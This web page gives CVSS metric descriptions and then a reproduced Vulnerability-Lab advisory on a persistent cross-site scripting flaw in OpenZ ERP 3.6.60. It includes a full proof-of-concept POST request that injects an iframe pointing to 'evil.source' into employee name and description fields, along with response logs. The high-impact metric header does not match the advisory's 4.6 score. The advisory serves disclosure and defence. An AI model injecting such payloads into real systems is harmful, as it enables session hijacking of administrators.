The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: OpenZ ERP 3.6.60 Cross Site Scripting
Document Title:
===============
OpenZ v3.6.60 ERP - Employee Persistent XSS Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2234
Release Date:
=============
2020-05-06
Vulnerability Laboratory ID (VL-ID):
====================================
2234
Common Vulnerability Scoring System:
====================================
4.6
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000 - 2.000
Product & Service Introduction:
===============================
OpenZ is a completely web-based enterprise resource planning system, or
ERP system for short, which was voted ERP System
of the Year in the Open Source category in 2014. The software offers a
completely scalable, dynamically adaptable
and easy-to-use range of functions and modules. OpenZ can be used to
control all business processes such as master data
maintenance, quotation, order and invoice creation, financial
accounting, controlling, project management, individual
and/or serial production with batch and serial number tracking. Complex
e-commerce requirements, material requirements
planning, supply chain optimization, as well as your own and special
processes for your company can be controlled within one
software - from anywhere in the world - independent of platform.
(Copy of the Homepage: https://www.openz.de/ &
https://www.openz.de/download.html )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
cross site vulnerability in the OpenZ v3.6.60 ERP web-application.
Affected Product(s):
====================
OpenZ
Product: OpenZ v3.6.60 - ERP (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2020-05-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered
in the official OpenZ v3.6.60 ERP web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.
The persistent vulnerability is located in the `inpname` and
`inpdescripcin` parameters of the `Employee` add/register/edit
module in the `menu.html` file. Remote attackers with low privileges are
able to inject own malicious persistent script code as
name or description. The injected code can be used to attack the
frontend or backend of the web-application. The request method
to inject is POST and the attack vector is located on the
application-side. The attack can be triggered from low privilege user
accounts against higher privilege user accounts like manager or
administrators to elevate privileges via session hijacking.
Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Employee
Vulnerable Input(s):
[+] Mitarbeiter Name
[+] Beschreibung
Vulnerable File(s):
[+] Menu.html
Vulnerable Parameter(s):
[+] inpname
[+] inpdescription
Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web
application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the openz web-application
2. Register, add or edit via profile settings the inpname &
inpdescription parameter inputs
3. Edit inpname & inpdescription parameter of the profile and save the entry
Note: The execute occurs on preview of the user credentials in the
/org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html
4. Successful reproduce of the persistent web vulnerability!
--- POC Session Logs [POST] --- (Inject via Add / Edit)
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html
Host: localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 1464
Origin: https://localhost:8080
Connection: keep-alive
Referer:
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html
Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544;
_ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275
Command=SAVE_EDIT_RELATION&inpLastFieldChanged=inpdescription&inpkeyColumnIdInp=&inpParentKeyColumn=&inpDirectKey=&
inpKeyReferenceColumnName=&inpTableReferenceId=&inpKeyReferenceId=&autosave=N&inpnewdatasetindicator=&inpnewdataseIdVal=&
inpenabledautosave=Y&inpisemployee=Y&inpistaxexempt=N&inpadClientId=C726FEC915A54A0995C568555DA5BB3C&inpaAssetId=&
inpcGreetingId=&inpcBpartnerId=8BEB3E9FD5D24F9BBCF777A51D53F5AF&inpissummary=N&inprating=N&inpTableId=AC9B98C649CD4F55B37714008EE8519F&
inpkeyColumnId=C_BPartner_ID&inpKeyName=inpcBpartnerId&mappingName=/org.openbravo.zsoft.smartui.Employee/
EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html&inpwindowId=39D3CD9F77A942D690965D49106F011B&
inpTabId=A3D0B320B69845B386024B5FF6B1E266&inpCommandType=EDIT&updatedTimestamp=20200426170335&inpParentOrganization=&
inpadOrgId=1AF9E07685234E0A9FEC1D9B58A4876B&inpadImageId=&
inpvalue=325235&inpname=>"><iframe
src=evil.source><iframe></iframe></iframe>&
inpdescription=>"><iframe
src=evil.source><iframe></iframe></iframe>&inpimageurl=31337&
inpisactive=Y&inpisinresourceplan=Y&inpapprovalamt=0,00&inpcSalaryCategoryId=&inptaxid=&inpreferenceno=&
inpcBpGroupId=42691AE1D13F400AB814B70361E167C3&inpadLanguage=de_DE&inpcountry=Deutschland&inpzipcode=&
inpcity=&inpcreated=26-04-2020
17:03:35&inpcreatedby=Service&inpupdated=26-04-2020
17:03:35&inpupdatedby=Service
-
POST: HTTP/1.1 302 Found
Server: Apache/2.4.38 (Debian)
Location:
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html?Command=RELATION
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
- (Execution in Listing)
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/evil.source
Host: myerponline.de
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html
Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544;
_ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 1110
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
PoC: Vulnerable Source (/security/Menu.html)
<table width="0px" height="0px" cellspacing="0" cellpadding="0">
<tbody><tr>
<td><input type="text" class="DataGrid_Table_Dummy_Input"
id="grid_table_dummy_input"></td>
</tr>
</tbody></table>
<input type="hidden" name="inpcBpartnerId"
value="8BEB3E9FD5D24F9BBCF777A51D53F5AF" id="keyParent">
<div class="RelationInfoContainer">
<table class="RelationInfo">
<tbody><tr>
<td class="RelationInfoTitle" id="related_info_cont">Business Partner:</td>
<td class="RelationInfoContent" id="paramParentC_BPartner_ID">325235 -
>"><iframe src="a"></TD>
</TR>
Reference(s):
https://localhost:8080/
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/Employee
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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=========================
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